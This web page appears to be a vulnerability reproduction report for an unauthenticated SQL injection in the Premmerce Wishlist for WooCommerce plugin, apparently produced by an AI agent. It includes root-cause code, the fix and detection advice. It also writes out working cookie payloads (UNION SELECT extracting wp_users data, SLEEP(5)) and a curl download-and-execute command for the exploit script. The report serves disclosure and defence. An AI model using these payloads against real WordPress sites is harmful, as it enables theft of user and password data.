Skip to content

CVE-2026-54849: Verified Reproduction

CVE-2026-54849: Premmerce Wishlist for WooCommerce unauthenticated SQL injection

CVE-2026-54849 is verified against the affected target. Vulnerability class: SQLi. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00251.

REPRO-2026-00251 SQLi Jul 6, 2026 CVE entry .txt
Severity
CRITICAL
CVSS
9.3
Confidence
HIGH
Reproduced in
27m 26s
Tool calls
177
Spend
$3.23
01 · Overview

What Is CVE-2026-54849?

CVE-2026-54849 is a critical, unauthenticated SQL injection vulnerability (CWE-89) in the Premmerce Wishlist for WooCommerce WordPress plugin, versions <= 1.1.11. Pruva reproduced it (reproduction REPRO-2026-00251).

02 · Severity & CVSS

CVE-2026-54849 Severity & CVSS Score

CVE-2026-54849 is rated critical severity, with a CVSS base score of 9.3 out of 10.

CRITICAL threat level
9.3 / 10 CVSS base
Weakness CWE-89 SQL Injection — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

How to Reproduce CVE-2026-54849

$ pruva-verify REPRO-2026-00251
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00251/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-54849

Information disclosure — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

premmerce_wishlist cookie (JSON array of wishlist keys) containing an embedded SQL injection payload (e.g. x") UNION SELECT ...)

Attack chain
  1. Unauthenticated HTTP GET to /?rest_route=/premmerce/wishlist/add/popup (permission_callback __return_true) with crafted premmerce_wishlist cookie
  2. RestApi::wishlistAddPopupRest
  3. getWishlistsAll()
  4. WishlistModel::getWishlistsByKeys(WishlistStorage::cookieGet())
  5. SQL built by string concatenation of cookie keys into IN ("...")
How the agent worked 418 events · 177 tool calls · 27 min
27 minDuration
177Tool calls
112Reasoning steps
418Events
1Dead-ends
Agent activity over 27 min
Support
48
Repro
232
Judge
23
Variant
111
0:0027:26

Root Cause and Exploit Chain for CVE-2026-54849

Versions: <= 1.1.11. Patched in 1.1.12

Unauthenticated SQL injection exists in the Premmerce Wishlist for WooCommerce WordPress plugin (versions <= 1.1.11). The plugin persists a visitor's wishlist "keys" in a browser cookie named premmerce_wishlist (a JSON array). On every unauthenticated request to the wishlist functionality, the plugin reads that cookie, decodes it, and feeds the attacker-controlled keys directly into a SQL IN (...) query built by string concatenation (implode('", "', $keys)). Because the keys are never validated or escaped before being interpolated, an unauthenticated attacker can break out of the double-quoted literal and inject arbitrary SQL. The injection is reachable through an unauthenticated REST API endpoint (/?rest_route=/premmerce/wishlist/add/popup, registered with permission_callback => __return_true), so no WordPress login is required.

  • Package/component affected: premmerce-woocommerce-wishlist (Premmerce Wishlist for WooCommerce). Vulnerable component: src/WishlistStorage.php::cookieGet() + src/Models/WishlistModel.php::getWishlistsByKeys() / getDefaultWishlistByKeys().
  • Affected versions: <= 1.1.11. Patched in 1.1.12 (changelog: "Security: SQL injection fix in wishlist cookie handling").
  • Risk level: Critical (Patchstack CVSS 9.3, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L).
  • Consequences: An unauthenticated remote attacker can interact with the WordPress database via SQL injection — e.g. exfiltrate data from any table (demonstrated below by extracting the admin user_login from wp_users via a UNION SELECT) and perform time-based blind inference. This can lead to full disclosure of the WordPress database (users, password hashes, sessions, etc.).

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated SQL injection allowing interaction with the database, including data extraction (CVSS 9.3, C:H).
  • Reproduced impact from this run: Unauthenticated SQL injection proven on the real product through two independent techniques:
    1. Time-based blind SQLi — a SLEEP(5) payload delayed the unauthenticated REST response by ~5.2–6.1s on the vulnerable build (vs ~0.1s on the fixed build).
    2. UNION-based data extraction — a UNION SELECT payload leaked the WordPress admin user_login (sqliadmin) into the unauthenticated REST response body on the vulnerable build (1 occurrence in the response), with no leak on the fixed build.
  • Parity: full. The claimed unauthenticated SQL injection (data extraction) was reproduced end-to-end against the real product on the claimed api_remote surface.
  • Not demonstrated: This proof stops at database read/extraction (consistent with the disclosed C:H impact). It does not demonstrate writing to the database or code execution, which are not claimed by the advisory.

Root Cause

The cookie value is trusted all the way into the SQL query without validation or parameterization.

Vulnerable src/WishlistStorage.php::cookieGet() (1.1.11):

public function cookieGet()
{
    if ($this->cookieIsSet()) {
        $data = json_decode(stripslashes($_COOKIE[self::COOKIE_NAME]));
        return $data ? $data : array();   // <-- no validation of $data entries
    }
    return array();
}

(COOKIE_NAME = 'premmerce_wishlist'. stripslashes undoes the addslashes that WordPress applies to $_COOKIE via wp_magic_quotes() on every request, so json_decode effectively receives the raw, URL-decoded cookie value unchanged.)

Vulnerable src/Models/WishlistModel.php::getWishlistsByKeys() (1.1.11):

public function getWishlistsByKeys($keys)
{
    if ($keys && is_array($keys)) {
        $sql = vsprintf(
            "SELECT * FROM `%s` WHERE `wishlist_key` IN (%s);",
            array(
                $this->tblWishlist,
                '"' . implode('", "', $keys) . '"'   // <-- direct concatenation
            )
        );
        return $this->getWishlistsBySql($sql);
    }
}

The attacker-controlled $keys are placed inside the IN ("...") list with only a double-quote wrapper. A key containing x") UNION SELECT ... closes the quote and injects SQL. The same concatenation pattern exists in getDefaultWishlistByKeys(), setUserToWishlistsByKeys(), deleteWishlists(), getWishlistsByProductId(), and the where_in branch of getWishlists().

Reachability (unauthenticated): src/RestApi/RestApi.php registers register_rest_route('premmerce/wishlist', '/add/popup', ... 'permission_callback' => '__return_true'). Its callback wishlistAddPopupRest()wishlistAddPopup()getWishlistsAll():

public function getWishlistsAll() {
    if (is_user_logged_in()) { ... }
    else { if ($this->storage->cookieIsSet()) {
        $wishlistAll = $this->model->getWishlistsByKeys($this->storage->cookieGet()); // <-- SQLi
    } }
    return $wishlistAll;
}

So an unauthenticated visitor supplying a crafted premmerce_wishlist cookie reaches the vulnerable query. (WooCommerce must be active for the plugin's REST/frontend to register, via WishlistPlugin::run() / validateRequiredPlugins().)

Fix (1.1.12): cookieGet() now validates each key with preg_match('/^[a-zA-Z0-9]{1,13}$/', $key) (rejecting anything containing quotes, spaces, SQL metacharacters) and the SQL builders were converted to $wpdb->prepare() with %s placeholders and an allowed_columns allow-list for where_in. The fix diff (src/WishlistStorage.php + src/Models/WishlistModel.php) is the authoritative patch.

Injected SQL (this reproduction)

The crafted cookie URL-decodes to the JSON value ["x\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- "] (the embedded " is JSON-escaped as \"). After json_decode, the key is x") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- , which is concatenated into:

SELECT * FROM `wp_premmerce_wishlist` WHERE `wishlist_key` IN ("x") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- ");

The wp_premmerce_wishlist table has 8 columns (ID, user_id, name, wishlist_key, products, date_created, date_modified, default), so the UNION SELECT supplies 8 columns. The data-extraction variant ["x\") UNION SELECT 1,2,user_login,4,5,6,7,8 FROM wp_users-- "] places wp_users.user_login into the name column, which the wishlist popup template renders — leaking the admin username into the unauthenticated response.

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh (self-contained; run twice, both pass with exit 0).
  2. What it does:
    • Deploys a real stack in Docker: mariadb:11.4 + wordpress:6.7.2-php8.2-apache, installs WordPress (admin sqliadmin), activates WooCommerce 8.9.3, and installs+activates Premmerce Wishlist 1.1.11 (vulnerable) from the local zip.
    • Sends an unauthenticated HTTP GET (from a separate client container on the Docker network, hitting the WordPress service by container name) to /?rest_route=/premmerce/wishlist/add/popup with the crafted premmerce_wishlist cookie. Two techniques, two attempts each:
      • SLEEP payload — measures response time (expect ~5s on vulnerable).
      • UNION payload — greps the response body for the admin user_login (expect a leak on vulnerable).
    • Swaps to the fixed 1.1.12 build and repeats the same two techniques as a negative control (expect no sleep, no leak).
    • Writes bundle/repro/runtime_manifest.json and exits 0 only if all four criteria hold (vuln sleeps + leaks; fixed does neither).
  3. Expected evidence of reproduction:
    • Vulnerable SLEEP response times ≈ 5.2–6.1s; fixed ≈ 0.07–0.13s.
    • Vulnerable UNION response bodies contain sqliadmin; fixed bodies do not.
    • bundle/repro/runtime_manifest.json with confirmation_status: "confirmed".

Evidence

  • Main log: bundle/logs/reproduction_steps.log (full script output, both runs).
  • Runtime manifest: bundle/repro/runtime_manifest.json (valid JSON).
  • Response bodies: bundle/repro/artifacts/vuln_sleep_{1,2}.body, vuln_union_{1,2}.body, fixed_sleep_{1,2}.body, fixed_union_{1,2}.body.
  • Plugin source (vulnerable + fixed, for diff): bundle/artifacts/premmerce-1.1.11.zip, bundle/artifacts/premmerce-1.1.12.zip.

Key excerpt — UNION data extraction on vulnerable 1.1.11 (admin username leaked into the unauthenticated REST response, inside the wishlist-name span):

$ grep -o '.\{0,40\}sqliadmin.\{0,40\}' bundle/repro/artifacts/vuln_union_1.body
x-title\">\\n                                                sqliadmin                                            <\/span>
$ grep -c sqliadmin bundle/repro/artifacts/vuln_union_1.body   -> 1
$ grep -c sqliadmin bundle/repro/artifacts/fixed_union_1.body  -> 0

Key excerpt — time-based blind SQLi divergence (from runtime_manifest.json):

vulnerable_sleep_seconds:  [5.197395, 6.098308]   # SLEEP(5) fired
fixed_sleep_seconds:       [0.121983, 0.076013]   # no sleep (regex filtered the key)
vulnerable_union_leak_counts: [1, 1]              # admin user_login leaked
fixed_union_leak_counts:      [0, 0]              # no leak

Environment: Docker mariadb:11.4 + wordpress:6.7.2-php8.2-apache (PHP 8.2.28), WooCommerce 8.9.3, Premmerce Wishlist 1.1.11 (vulnerable) / 1.1.12 (fixed), WordPress table prefix wp_, admin sqliadmin. The unauthenticated HTTP requests are issued by a separate container on the Docker bridge network to the WordPress service by container name (http://premmerce-wp/...); response bodies are retrieved via docker create + docker cp (host bind-mounts and published ports are not visible from this shell because the Docker daemon runs in a separate namespace).

Recommendations / Next Steps

  • Upgrade Premmerce Wishlist for WooCommerce to >= 1.1.12 immediately.
  • Long-term: the plugin should use $wpdb->prepare() with placeholders for all dynamic SQL (several other builders in WishlistModel.php were also concatenating user-influenced values and were patched in 1.1.12) and treat cookie data as untrusted, validating structure/types before use.
  • Testing: add automated tests that feed malicious cookie values (quotes, UNION, SLEEP, semicolons) and assert no SQL injection / no error / no data leak. Consider enabling a WAF rule for the premmerce_wishlist cookie.
  • Detection: review access logs for premmerce_wishlist cookie values containing UNION, SLEEP, --, ", or ) as indicators of attempted exploitation.

Additional Notes

  • Idempotency: the script tears down and rebuilds the whole stack on every run, so it can be executed repeatedly with deterministic results. Verified by two consecutive runs (both exit 0, both confirmed).
  • Surface match: the claimed surface is api_remote (unauthenticated HTTP request to the plugin endpoint); the proof uses a real unauthenticated HTTP request to the plugin's REST endpoint — validated_surface = api_remote.
  • Scope/impact: this is a data-extraction SQL injection (read). The proof does not demonstrate DB writes or RCE, which are outside the disclosed impact.
  • Sanitizer: no sanitizer is used; the proof is a plain non-sanitized product run (real Apache + WordPress + MariaDB), and the oracle is response timing + response content, not ASAN/UBSAN.

CVE-2026-54849 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:38
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-54849 · REPRO-20
0:02
0:04
web search
0:06
web search
0:08
0:15
0:17
web search
0:20
0:22
web search
0:24
web search
0:26
1:27
1:28
web search
1:31
1:48
1:49
2:00
2:02
2:04
2:20
2:23
2:27
2:47
2:51
2:54
2:56
3:13
3:14
3:15
3:38
08 · How to Fix

How to Fix CVE-2026-54849

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-54849 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-54849

How does the CVE-2026-54849 SQL injection attack work?

The injection is reachable through an unauthenticated REST API endpoint (/?rest_route=/premmerce/wishlist/add/popup), registered with permission_callback => __return_true, so no WordPress login is required. An attacker sets a crafted premmerce_wishlist cookie whose keys break out of the double-quoted SQL literal, allowing arbitrary SQL to run — for example, extracting the admin user_login.

How severe is CVE-2026-54849?

It is rated critical severity.

How can I reproduce CVE-2026-54849?

Download the verified script from this page and run it in an isolated environment against a WordPress install with Premmerce Wishlist for WooCommerce <= 1.1.11. It sends an unauthenticated request with a crafted premmerce_wishlist cookie containing a SQL injection payload and observes database data extraction.

Does exploiting CVE-2026-54849 require authentication?

No. The vulnerable REST endpoint is registered with permission_callback => __return_true, so any unauthenticated remote visitor can trigger the injection.
11 · References

References for CVE-2026-54849

Authoritative sources for CVE-2026-54849 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.